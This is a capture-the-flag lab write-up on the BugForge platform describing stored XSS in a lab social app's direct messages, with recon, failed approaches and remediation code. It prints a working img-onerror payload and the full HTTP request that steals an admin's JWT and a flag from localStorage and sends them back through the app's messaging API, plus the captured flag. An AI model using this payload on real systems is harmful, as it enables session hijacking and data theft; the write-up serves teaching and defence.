BugForge — 2026.03.27

Ottergram: Stored XSS — DM to Admin localStorage Exfil

BugForge XSS medium

Overview

  • Platform: BugForge
  • Vulnerability: Stored Cross-Site Scripting (XSS) via Direct Messages
  • Key Technique: Injecting HTML into unsanitized DM content field rendered via dangerouslySetInnerHTML, triggering JavaScript execution in admin’s browser to exfiltrate localStorage
  • Result: Full JavaScript execution in admin context; exfiltrated flag and admin JWT from localStorage via self-messaging callback

Objective

Find the flag hidden within the Ottergram application — an Instagram-like social media platform for otter enthusiasts. Second engagement on this target (previous engagement found WebSocket IDOR — different vulnerability class this time).

Initial Access

# Target Application
URL: https://lab-1774652179703-chxke1.labs-app.bugforge.io

# Auth details
Registered users: haxor / haxor2 / haxor3
Auth: JWT (HS256) via POST /api/register, stored in localStorage
JWT payload: {id, username, iat} — no role claim, role is DB-driven

Key Findings

  1. Stored XSS via Direct Message content (CWE-79: Improper Neutralization of Input During Web Page Generation) — The POST /api/messages content field accepts arbitrary HTML. The React frontend renders inbox messages using dangerouslySetInnerHTML: {__html: e.content} with zero sanitization on either the server (storage) or client (rendering) side. Any authenticated user can achieve stored XSS in any other user’s browser by sending them a DM.

Attack Chain Visualization

┌─────────────────┐     ┌──────────────────┐     ┌─────────────────────┐
│  Register user  │────▶│ Obtain valid JWT │────▶│  Discover flag in   │
│  POST /api/     │     │ from response    │     │  JS bundle:         │
│  register       │     │                  │     │  localStorage.flag  │
└─────────────────┘     └──────────────────┘     └──────────┬──────────┘
                                                            │
                                                            ▼
┌─────────────────┐     ┌──────────────────┐     ┌─────────────────────┐
│ DM to admin     │────▶│ Admin opens      │────▶│  dangerouslySet     │
│ (id=2) with     │     │ inbox via        │     │  InnerHTML renders  │
│ XSS in content  │     │ Socket.IO notify │     │  payload as HTML    │
└─────────────────┘     └──────────────────┘     └──────────┬──────────┘
                                                            │
                                                            ▼
┌─────────────────┐     ┌──────────────────┐     ┌─────────────────────┐
│ Read flag from  │◀────│ Admin's browser  │◀────│  JS reads           │
│ attacker inbox  │     │ POSTs flag back  │     │  localStorage.flag  │
│ (sent by admin) │     │ as DM to attacker│     │  + localStorage.    │
│                 │     │ using admin's JWT│     │  token              │
└─────────────────┘     └──────────────────┘     └─────────────────────┘

Application Architecture

Component Path Description
Frontend React (CRA build) Instagram-clone UI with posts, likes, comments, DMs
Backend Express.js REST API + Socket.IO for real-time notifications
Auth JWT (HS256) Token contains {id, username, iat}, role stored server-side in DB
Real-time Socket.IO WebSocket notifications — new-message events trigger inbox refresh
File uploads multipart/form-data UUID filenames stored in /uploads/
CORS Wildcard Access-Control-Allow-Origin: *

Exploitation Path

Step 1: Reconnaissance — Map the API Surface and Identify Sinks

Intercepted HTTP traffic via Caido and extracted routes from the React JS bundle (/static/js/main.dd5901b1.js). Key discoveries:

  1. DM rendering sink: Inbox component uses dangerouslySetInnerHTML: {__html: e.content} to render message content — a classic XSS sink.
  2. Flag location: JS bundle contains if(s&&"admin"===s.role){const e=localStorage.getItem("flag");...} — the flag is stored in the admin user’s localStorage("flag").
  3. Admin bot behavior: Socket.IO new-message events trigger the admin to open their inbox, meaning any DM to admin will be rendered.
Key endpoints mapped:
  POST /api/messages     — send DM {recipient_id, content}
  GET  /api/messages/inbox — view received messages
  GET  /api/verify-token   — returns user object with role
  GET  /api/admin/*        — admin panel (server-side role check)

Step 2: Eliminate Dead Ends — Mass Assignment and External Exfil

Before testing XSS, checked if there was a simpler path to admin:

  • Mass assignment on /api/register with role: "admin" — server filtered the field, returned role: "user"
  • Mass assignment on PUT /api/profile with role: "admin" — returned 200 but /api/verify-token still showed role: "user" (field silently ignored)
  • External exfiltration via CloudFlare tunnel — payload fired but no callback received. The lab bot possibly cannot reach external URLs, so we will try exfil from within the application.

This confirmed: no shortcut to admin, and data exfiltration possible using the app’s own API endpoints.

Step 3: Craft Self-Contained XSS Payload

Since external exfil seemed blocked, the payload needed to:

  1. Read localStorage("flag") and localStorage("token") from the admin’s browser
  2. Use the admin’s own JWT to POST the flag back to the attacker as a DM via /api/messages
<img src=x onerror="var t=localStorage.getItem('token');var f=localStorage.getItem('flag')||'no-flag';fetch('/api/messages',{method:'POST',headers:{'Content-Type':'application/json','Authorization':'Bearer '+t},body:JSON.stringify({recipient_id:5,content:f})})">

How it works:

  • <img src=x> triggers onerror because x is not a valid image
  • onerror handler reads the admin’s JWT and flag from localStorage
  • Uses fetch() to POST the flag as a DM to the attacker (user id=5)
  • Entirely self-contained — no external callbacks needed

Step 4: Deliver Payload and Retrieve Flag

Sent the XSS payload as a DM to admin (user id=2):

POST /api/messages HTTP/1.1
Authorization: Bearer <attacker_jwt>
Content-Type: application/json

{"recipient_id":2,"content":"<img src=x onerror=\"var t=localStorage.getItem('token');var f=localStorage.getItem('flag')||'no-flag';fetch('/api/messages',{method:'POST',headers:{'Content-Type':'application/json','Authorization':'Bearer '+t},body:JSON.stringify({recipient_id:5,content:f})})\">"}

The admin bot received the Socket.IO new-message notification, opened its inbox, and dangerouslySetInnerHTML rendered the payload. The admin’s browser executed the JavaScript, read the flag from localStorage, and POSTed it back as a DM.

Checked attacker’s inbox — message from admin (sender_id=2) containing the flag:

{"id":14,"sender_id":2,"recipient_id":5,"content":"bug{XkGWX1AeLZxcWuM9iB4OankQ0Rtxns0b}","is_read":0,"created_at":"2026-03-27 23:19:26","sender_username":"admin"}

Flag / Objective Achieved

bug{XkGWX1AeLZxcWuM9iB4OankQ0Rtxns0b}

Exfiltrated from admin’s localStorage("flag") via stored XSS in the DM system.


Key Learnings

  • dangerouslySetInnerHTML is exactly as dangerous as the name implies. React’s default behavior escapes HTML in JSX expressions ({e.content}). The explicit opt-in to raw HTML rendering (dangerouslySetInnerHTML) must always be paired with server-side sanitization or a client-side library like DOMPurify.
  • When external exfil is blocked, use the application against itself. The admin bot couldn’t reach external URLs, so the payload used the app’s own messaging API to send the flag back. The victim’s own authenticated session becomes the exfiltration channel.
  • JS bundles reveal both sinks and secrets. The bundle exposed both the dangerouslySetInnerHTML sink and the fact that the flag was in localStorage("flag") — the full attack chain was discoverable from source review alone.
  • Socket.IO notifications create reliable trigger mechanisms. The new-message event ensured the admin would open the inbox and render the payload without any social engineering or timing dependency.

Failed Approaches

Approach Result Why It Failed
Mass assignment on register (role: “admin”) Role field ignored Server filters allowed fields on registration
Mass assignment on PUT /api/profile (role: “admin”) 200 OK but role unchanged Server accepts request but ignores role field
External exfil via CloudFlare tunnel Payload sent, no callback Lab bot may not be able to reach external URLs — sandboxed environment

Tools Used

Tool Purpose
Caido HTTP traffic interception and API mapping
Browser DevTools JS bundle analysis — found dangerouslySetInnerHTML sink and flag location
curl / Caido Replay Payload delivery and inbox verification

Remediation

1. Stored XSS via Direct Messages — Missing Input Sanitization (CVSS: 9.6 - Critical)

CVSS v3.1 Vector: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Issue: The DM content field is stored as-is (no sanitization) and rendered using dangerouslySetInnerHTML (no escaping). Any authenticated user can execute arbitrary JavaScript in any other user’s browser by sending a crafted message.

CWE Reference: CWE-79 — Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

Fix (Server-side — sanitize before storage):

// BEFORE (Vulnerable)
app.post('/api/messages', auth, async (req, res) => {
  const { recipient_id, content } = req.body;
  await db.run(
    'INSERT INTO messages (sender_id, recipient_id, content) VALUES (?, ?, ?)',
    [req.user.id, recipient_id, content]
  );
});

// AFTER (Secure — strip all HTML tags)
const sanitizeHtml = require('sanitize-html');

app.post('/api/messages', auth, async (req, res) => {
  const { recipient_id, content } = req.body;
  const cleanContent = sanitizeHtml(content, { allowedTags: [], allowedAttributes: {} });
  await db.run(
    'INSERT INTO messages (sender_id, recipient_id, content) VALUES (?, ?, ?)',
    [req.user.id, recipient_id, cleanContent]
  );
});

Fix (Client-side — stop using dangerouslySetInnerHTML):

// BEFORE (Vulnerable)
<div dangerouslySetInnerHTML={{__html: message.content}} />

// AFTER (Secure — React auto-escapes text content)
<div>{message.content}</div>

2. Sensitive Data in localStorage (CVSS: 4.3 - Medium)

Issue: The admin’s flag and JWT are stored in localStorage, which is accessible to any JavaScript running on the page. Combined with XSS, this enables immediate exfiltration.

CWE Reference: CWE-922 — Insecure Storage of Sensitive Information

Fix:

- Store session tokens in httpOnly cookies (inaccessible to JavaScript)
- Never store secrets/flags in client-side storage
- Use SameSite=Strict and Secure cookie flags

3. Wildcard CORS Configuration (CVSS: 5.3 - Medium)

Issue: Access-Control-Allow-Origin: * allows any origin to make authenticated cross-origin requests (when combined with credential leakage from XSS or other vectors).

CWE Reference: CWE-942 — Permissive Cross-domain Policy with Untrusted Domains

Fix:

// BEFORE (Vulnerable)
app.use(cors());  // defaults to Access-Control-Allow-Origin: *

// AFTER (Secure)
app.use(cors({
  origin: 'https://your-app-domain.com',
  credentials: true
}));

OWASP Top 10 Coverage

  • A03:2021 — Injection — Primary finding. Unsanitized user input in DM content rendered as HTML in victim’s browser, enabling stored XSS.
  • A07:2021 — Identification and Authentication Failures — JWT and sensitive data stored in localStorage rather than httpOnly cookies, enabling client-side exfiltration.
  • A05:2021 — Security Misconfiguration — Wildcard CORS policy (Access-Control-Allow-Origin: *) widens the attack surface for cross-origin attacks.

References


Tags: #xss #stored-xss #dangerouslysetinnerhtml #localstorage-exfil #react #bugforge #dm-injection Document Version: 1.0 Last Updated: 2026-03-27

#stored-XSS #localStorage #account-takeover #DM